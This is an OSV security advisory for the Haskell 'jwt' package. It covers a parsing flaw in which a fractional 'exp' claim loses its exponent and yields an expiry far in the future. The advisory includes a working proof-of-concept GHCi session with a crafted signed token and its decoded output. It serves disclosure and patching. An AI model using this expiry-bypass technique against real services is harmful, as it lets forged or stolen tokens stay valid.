{"id":"HSEC-2026-0010","summary":"Improper parsing of fractional NumericDate from JWT exp claims","details":"# Improper parsing of fractional `NumericDate` from JWT `exp` claims\n\nSince its [initial commit][], package jwt uses [`Data.Scientific.coefficient`][scientific] to extract the fractional mantissa in a way that improperly *discards the exponent*. This can lead to incorrect parsing of the `exp` claim in JWT payload body.\n\nPoC:\n\n```haskell\ncabal repl --build-depends jwt==0.11.0\n\nimport Web.JWT\n:set -XOverloadedStrings\n\nlet signer = VerifyHMACSecret \"dummy-signing-symmetric-hmac-key.not-so-secret\"\nlet exploit = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o\"\n-- {\n--   \"sub\": \"1234567890\",\n--   \"name\": \"Honest Joe\",\n--   \"admin\": true,\n--   \"iat\": 1790166786,\n--   \"exp\": 1790170386.0001\n-- }\nλλ ➔ Just whoops = Web.JWT.decodeAndVerifySignature signer exploit\nλ\nλλ ➔ whoops\nVerified (JOSEHeader {typ = Just \"JWT\", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [(\"admin\",Bool True),(\"name\",String \"Honest Joe\")]}}) (Signature \"xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o\")\nλ\nλλ ➔ fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops\nJust 1790166786s\nλ\nλλ ➔ fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops\nJust 17901703860001s\n```\n\nThe encoded claim `exp = 1790170386.0001` is:\n1. Explicitly allowed by RFC 7519 [section 2][rfc-2] to contain fractional part (*\"... non-integer values can be represented.\"*);\n2. Decodes correctly as `2026-09-23T12:33:06.0001` (including in JS implementations on jwt.io & token.dev);\n3. Decodes incorrectly as `569252-05-30T12:40:01`  (== posix epoch `17901703860001`) by the `jwt` library.\n   ```\n   \u003e\u003e\u003e import Data.Time.Format.ISO8601\n   \u003e\u003e\u003e import Data.Time.Clock.POSIX\n   \u003e\u003e\u003e\n   \u003e\u003e\u003e iso8601Show $ posixSecondsToUTCTime 1790166786\n   \"2026-09-23T12:33:06Z\"\n   \u003e\u003e\u003e\n   \u003e\u003e\u003e iso8601Show $ posixSecondsToUTCTime 17901703860001\n   \"569252-05-30T12:40:01Z\"\n   ```\nThis happens because jwt's `instance FromJSON NumericDate` only extracts the parsed `coefficient` while ignoring [`base10Exponent`][scientific], which in this case becomes negative non-zero.\n\nSince the standard `exp` claim carries credential expiration time:\n\n\u003e  ### [4.1.4][rfc-4.1.4].  \"exp\" (Expiration Time) Claim\n\u003e \n\u003e    The \"exp\" (expiration time) claim identifies the expiration time on\n\u003e    or after which the JWT MUST NOT be accepted for processing.  The\n\u003e    processing of the \"exp\" claim requires that the current date/time\n\u003e    MUST be before the expiration date/time listed in the \"exp\" claim.\n\n— this parsing mistake of dropping the exponent can have security-relevant consequences, should an attacker be able to forge JWTs with fractional expiry dates and get them fed into software that uses the `jwt` library for consuming JWTs.\n\n[initial commit]: https://github.com/puffnfresh/haskell-jwt/commit/76567342c71f62f3f7554da8987579d90e532209\n[rfc-2]: https://www.rfc-editor.org/info/rfc7519/#section-2\n[rfc-4.1.4]: https://www.rfc-editor.org/info/rfc7519/#section-4.1.4\n[scientific]: https://hackage-content.haskell.org/package/scientific-0.3.8.1/docs/Data-Scientific.html#g:2\n","modified":"2026-09-29T14:30:03.216576231Z","published":"2026-09-29T14:22:37Z","database_specific":{"osvs":"https://raw.githubusercontent.com/haskell/security-advisories/refs/heads/generated/osv-export","repository":"https://github.com/haskell/security-advisories","home":"https://github.com/haskell/security-advisories"},"references":[{"type":"REPORT","url":"https://github.com/puffnfresh/haskell-jwt/issues/4"},{"type":"FIX","url":"https://github.com/puffnfresh/haskell-jwt/pull/10"}],"affected":[{"package":{"name":"jwt","ecosystem":"Hackage","purl":"pkg:hackage/jwt"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.0"},{"fixed":"0.12.0"}]}],"versions":["0.1.0","0.1.1","0.10.0","0.10.1","0.11.0","0.2.0","0.2.1","0.3.0","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","0.7.1","0.7.2","0.8.0","0.9.0"],"ecosystem_specific":{"affected_api":[{"name":"decode","module":"Web.JWT"},{"module":"Web.JWT","name":"decodeAndVerifySignature"}]},"database_specific":{"source":"https://github.com/haskell/security-advisories/blob/generated/osv-export/2026/HSEC-2026-0010.json","osv":"https://raw.githubusercontent.com/haskell/security-advisories/refs/heads/generated/osv-export/2026/HSEC-2026-0010.json","human_link":"https://github.com/haskell/security-advisories/tree/main/advisories/published/2026/HSEC-2026-0010.md"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N/E:P/RL:W/RC:C/IR:H/MAV:N/MAC:H/MPR:N/MUI:N/MS:C/MC:N/MI:L/MA:N"}]}],"schema_version":"1.9.0"}